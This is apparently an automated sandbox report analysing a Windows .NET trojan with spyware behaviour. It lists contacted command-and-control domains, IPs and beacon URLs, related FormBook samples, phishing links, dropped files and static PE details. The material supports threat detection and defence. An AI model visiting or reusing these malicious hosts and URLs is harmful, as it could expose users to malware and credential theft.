NU1aAbSmCr.exe	66%	ReversingLabs	Win32.Trojan.Leonem
NU1aAbSmCr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.tophm.xyz	199.192.21.169	true	true	unknown
newdaydawning.net	44.213.25.70	true	false	unknown
030002304.xyz	65.21.196.90	true	true	unknown
www.coffee-and-blends.info	217.160.0.231	true	false	unknown
kovallo.cloud	81.2.196.19	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
www.030002304.xyz	unknown	unknown	true	unknown
www.kovallo.cloud	unknown	unknown	true	unknown
www.newdaydawning.net	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.tophm.xyz/30rz/	false	unknown
http://www.tophm.xyz/30rz/?wZBh=UzoT8ph&8T2hn=wd7m4mq4h41P+rN28pyT+ttY7GHVuAvuqtpnERraqOjaWWvMpBvRQDu/0Ra1ptpTEf0KGGfWsjsqje2uOEmu4OBI5eYxRB5JEme+Ix16OOjxqM3SMw==	false	unknown
http://www.kovallo.cloud/koup/?wZBh=UzoT8ph&8T2hn=zjgQ1IglZSD3j4X7Mb/L9VMKC/lioNLyTiYpIFDypb2XxqZYhzfHyCasu3J1FKt+ikpO665Ej+Wn9KB3IEhbZRsyBSNLju/tAMuqMeNka3iE/L9xhA==	false	unknown
http://www.coffee-and-blends.info/fhdl/	false	unknown
http://www.newdaydawning.net/igaf/?wZBh=UzoT8ph&8T2hn=z7pb/AVrgdjheaZEOJkK38wzdFwtWkfwIJb37ItQC6dYo/jeths6OaqB6aU1oO66EyRWu95qtLC+XaCQo95JR9SCocHD8In7sYhzsBDy4zub0g2aDA==	false	unknown
http://www.030002304.xyz/6uay/?8T2hn=4t2O3O+pZmQg6Me57d3wJo6heDIGdjpowWW3Ki6AModP/Z3yDnI8KOs9thhsa1jg844M9/RLYM/vwhOiRdypu3qnYIwYUCnWcXg0sNwBl87ACBA0Bg==&wZBh=UzoT8ph	false	unknown
http://www.coffee-and-blends.info/fhdl/?8T2hn=LZaialQPeltHsffZ/7p0gpt1IPXssyuTEG6qh16Ey8GBHHnvE/VN849lTokelyHAfcJ0dO++uyhAerPT/GlJwSRZaBuTZ4zvU4RSMcEjcessmo3sdA==&wZBh=UzoT8ph	false	unknown
http://www.030002304.xyz/6uay/	false	unknown
http://www.newdaydawning.net/igaf/	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tophm.xyz	mCFHCvdrqdDiDT.exe, 0000000E.00000002.2583578419.0000000004A1D000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	NU1aAbSmCr.exe, 00000000.00000002.1350243310.0000000002A8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	NETSTAT.EXE, 0000000B.00000002.2585369147.00000000080B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://newdaydawning.net/igaf/?wZBh=UzoT8ph&8T2hn=z7pb/AVrgdjheaZEOJkK38wzdFwtWkfwIJb37ItQC6dYo/jeth	NETSTAT.EXE, 0000000B.00000002.2583392591.00000000045F8000.00000004.10000000.00040000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000002.2581565135.0000000002C88000.00000004.00000001.00040000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
217.160.0.231	www.coffee-and-blends.info	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
65.21.196.90	030002304.xyz	United States	199592	CP-ASDE	true
199.192.21.169	www.tophm.xyz	United States	22612	NAMECHEAP-NETUS	true
44.213.25.70	newdaydawning.net	United States	14618	AMAZON-AESUS	false
81.2.196.19	kovallo.cloud	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529867
Start date and time:	2024-10-09 14:00:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NU1aAbSmCr.exe renamed because original name is a hash value
Original Sample Name:	ee229e0094d512a8a9e8210e75ca4319384360113b541aa7a10ed301e0425830.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/7@5/5
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 105 Number of non-executed functions: 306
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mCFHCvdrqdDiDT.exe, PID 6888 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: NU1aAbSmCr.exe

Simulations

Behavior and APIs

Time	Type	Description
08:00:58	API Interceptor	1x Sleep call for process: NU1aAbSmCr.exe modified
08:01:00	API Interceptor	16x Sleep call for process: powershell.exe modified
08:02:22	API Interceptor	715685x Sleep call for process: NETSTAT.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
217.160.0.231	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	www.coffee-and-blends.info/bhth/
217.160.0.231	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.coffee-and-blends.info/bhth/
65.21.196.90	8EhMjL3yNF.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/f06i/
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.030002837.xyz/y045/
	BAJFMONYm2.exe	Get hash	malicious	FormBook	Browse	www.070001294.xyz/90jl/
	5FRWRDOqk7.exe	Get hash	malicious	FormBook	Browse	www.030002721.xyz/st0f/?-hF=sZ0LOH4&HPBxr6=OZJ3FWHE8eHsfWE6sR/jZh7GV9NsFGiNmpPQ4eftWQT1hyascoenGoAxdn6KH9WZ2QPSeMYxIK2pDBtCkY1R4v4J1R7l9kCKhVgR/LucEqSnpRqwhg==
	RQ#071024.exe	Get hash	malicious	FormBook	Browse	www.030003302.xyz/1nuz/?LT=aZbPzzPX3H&O47=39evZXa6m7baCAiDcr0ch6V4fD09WsXkaMbScS7vY88jTdTJUv9E9AetrBPXqBlycVnLEijqhZPiEuH/pw4OidZAp+cuSwNE5fzYgJgK5BTkLsTa3g==
	Arrival notice.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/u38h/?EZ2lo=iaxEuHPh9M0PkCehiVmYq99vb8GYcF42nF8/pgvOtFqWiDn4lMrJ/WO5nlbDSyDBFBFfwqZzhOOdUgIoiT3LOtzwEygyB6NUSlIKo/1Br+QrM4rsiQ==&7NP=7FXXUPl
	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.030002626.xyz/49rz/
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	www.030002803.xyz/l4gu/
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	www.030002837.xyz/zl45/
	LgzpILNkS2.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/7b6l/
199.192.21.169	lPX6PixV4t.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	Z6s208B9QX.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	8mmZ7Bkoj1.exe	Get hash	malicious	FormBook	Browse	www.cenfresh.life/6iok/
	PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	update SOA.exe	Get hash	malicious	FormBook	Browse	www.technectar.top/ghvt/
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	Request for Quotation Hi-Tech Park Project 193200.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	DCP11-83642024..exe	Get hash	malicious	FormBook	Browse	www.urbanpulse.help/r50h/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	Doc_0211.zip	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://www.gofreight.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	T1TmLXusl0.exe	Get hash	malicious	SmokeLoader	Browse	13.107.246.60
	https://securcomau.gurucan.com/66e8e67dd77b5900129b4800	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://urbanentertainmentfo.com.de/7AHXX/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://link-karix.unifiedrml.com/link/load/?uid=66f149a6a2cee777918b45c2-66f14b565f7b47ad77e978c0-66f14b0aa2cee705a28b4575&uri=https%3A%2F%2Fbluworldusabluworldusa.jimdofree.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://paa9eki.fitutend.com/p0wh/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.60
	https://keepass.info/news/n240601_2.57.html#v1	Get hash	malicious	Unknown	Browse	13.107.246.60
www.coffee-and-blends.info	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	217.160.0.231
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	217.160.0.231
	x.exe	Get hash	malicious	FormBook	Browse	217.160.0.231
	bin.exe	Get hash	malicious	FormBook	Browse	217.160.0.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ONEANDONE-ASBrauerstrasse48DE	pQGOxS84rW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.119
	http://gastrotrade24.org/	Get hash	malicious	Unknown	Browse	217.160.0.174
	BAJFMONYm2.exe	Get hash	malicious	FormBook	Browse	74.208.236.183
	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	74.208.236.25
	http://lifecodigestion.com	Get hash	malicious	Unknown	Browse	217.76.142.239
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	195.20.232.175
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	195.20.232.175
	na.elf	Get hash	malicious	Unknown	Browse	195.20.246.158
	na.elf	Get hash	malicious	Mirai	Browse	212.227.156.190
	Contrato de Cesin de Crditos Sin Recurso.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.118
CP-ASDE	9vhyFG1hNa.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	8EhMjL3yNF.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFnDa0TAMLVO9WtBTyYEZqZA-3DPrnv_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZOmYNN4Eos0I-2F5FhDJBI4w4qadztSYeu4ugOMJrD5ZJ3NK5HbR-2B5js4EjZpFmlZJIJ2eepX0b1t3SsV5gyIJGc7CJjeC8X5Wxzv49-2FqOYJzl5qBXpr-2BWwAW7G6cWDOqZN4YK73LjV4xBBNvL9fcHX0SM3SHQjbhXBuKD0dh5WqiuRgt8l7OsZEvxy8UkJaur7KIBjJyVTij7zCSJnYd6mjsUFQl8fAjX9eSOEGKjy2XWh8GHa2xi9VgTVCxGMcn7gM-3D	Get hash	malicious	Unknown	Browse	65.21.29.43
	BAJFMONYm2.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	5FRWRDOqk7.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	RQ#071024.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	http://dmed-industries.com	Get hash	malicious	HtmlDropper	Browse	65.21.29.43
	Arrival notice.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	https://jumatan.sudaha.biz.id/4F741t%23XjCw%5BYg/	Get hash	malicious	Unknown	Browse	65.21.235.194
AMAZON-AESUS	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzIzOTU1LCJuYmYiOjE3MjgzMjM5NTUsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiIxMzhudno3eXlrZ2h1NDA5OGZrYiIsInRva2VuIjoiMTM4bnZ6N3l5a2dodTQwOThma2IiLCJzZW5kX2F0IjoxNzI4MzIyODA2LCJlbWFpbF9pZCI6OTk2NDk2NywiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQ0ODIsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1XZSUyN3JlK3Rha2luZytvdmVyK3RoaXMrTmF0aW9uYWwrRGF5In0.z00HBrh18YFkCiPz9m_Gcq8DkC4g7ZLK6Qs5LoMEHUo	Get hash	malicious	HTMLPhisher	Browse	3.217.201.113
	na.elf	Get hash	malicious	Unknown	Browse	54.54.164.187
	na.elf	Get hash	malicious	Mirai	Browse	54.136.161.102
	na.elf	Get hash	malicious	Mirai	Browse	34.202.179.186
	na.elf	Get hash	malicious	Mirai	Browse	34.202.220.133
	http://www.gofreight.com/	Get hash	malicious	Unknown	Browse	3.212.99.33
	attachment (15).eml	Get hash	malicious	Unknown	Browse	52.206.205.81
	http://fortcollinsfineart.com/	Get hash	malicious	Unknown	Browse	52.7.22.181
	original.eml	Get hash	malicious	HtmlDropper	Browse	52.5.13.197
	https://www-washingtoncountyinsider-com.webpkgcache.com/doc/-/s/www.washingtoncountyinsider.com//	Get hash	malicious	Unknown	Browse	3.5.1.211
INTERNET-CZKtis238403KtisCZ	lPX6PixV4t.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	Z6s208B9QX.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	POPO00003964.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	Request for Quotation Hi-Tech Park Project 193200.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
NAMECHEAP-NETUS	9vhyFG1hNa.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	8EhMjL3yNF.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	lPX6PixV4t.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	LegionLoader (13).msi	Get hash	malicious	Unknown	Browse	162.255.119.168
	LegionLoader (14).msi	Get hash	malicious	Unknown	Browse	162.255.119.168
	LegionLoader (15).msi	Get hash	malicious	Unknown	Browse	162.255.119.168
	LegionLoader (10).msi	Get hash	malicious	Unknown	Browse	162.255.119.168
	LegionLoader (11).msi	Get hash	malicious	Unknown	Browse	162.255.119.168
	LegionLoader (12).msi	Get hash	malicious	Unknown	Browse	162.255.119.168
	LegionLoader (9).msi	Get hash	malicious	Unknown	Browse	162.255.119.168

Process:	C:\Users\user\Desktop\NU1aAbSmCr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380285623575084
Encrypted:	false
SSDEEP:	48:+WSU4xympjgs4Rc9tEoUl8NPZHUl7u1iMugeC/ZM0Uyus:+LHxvCsIcnSKRHmOugw1s
MD5:	2934CA20BBFAEA7EF443B53BCDE1CF1B
SHA1:	EDC8343ECF9C01C447AB954CB93C19A83A8DBB8E
SHA-256:	791F1B8BF492FC44797F1ECE7BA3B4767EE63FB502B39C3D328FA70DC88D54C8
SHA-512:	22C39B94B5F046696CC84CF5F468F1ABF44A896A9B12B1A60046EEA9F9E92D30810A5FECDB989FB1803D859F0253F8A3578E58310A6E408686B3B86723DE9820
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<...............V.}...@...i...........System.Transactions.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\41392M9L

Process:	C:\Windows\SysWOW64\NETSTAT.EXE
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1y1zcoq0.b1c.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixrxqhbp.4x5.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jcng3qjk.stx.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xo04vr5o.f0n.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.872759766194143
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	NU1aAbSmCr.exe
File size:	694'784 bytes
MD5:	519b9a9e52aa6e23736f01afa4001654
SHA1:	dd28761acf65483cf2de998e93b9490afb27f196
SHA256:	ee229e0094d512a8a9e8210e75ca4319384360113b541aa7a10ed301e0425830
SHA512:	ab5444d71d20f010f1ff695baefcb43bbfe902f112a2cf077178a2772535854f8de56fa81c77bfb22af5972b377b2c89553ceb51702f15da411b4b9060f4f318
SSDEEP:	12288:WHoc9jfIvg+0pYFFt8tLhCCIzOCXOqhGO1mPkNEKXD5p7iYYLM6ipxCbyUjU1zdL:Qzf/pYFwVXQOMOqhGPkN5T5pBYZwAWGU
TLSH:	0BE412481A9AD517D4E70BF80A20C2B057F95EDD6A27E3035FEE7DEB7C26B502840792
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4aafc2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xC29198FE [Sat Jun 10 12:03:10 2073 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
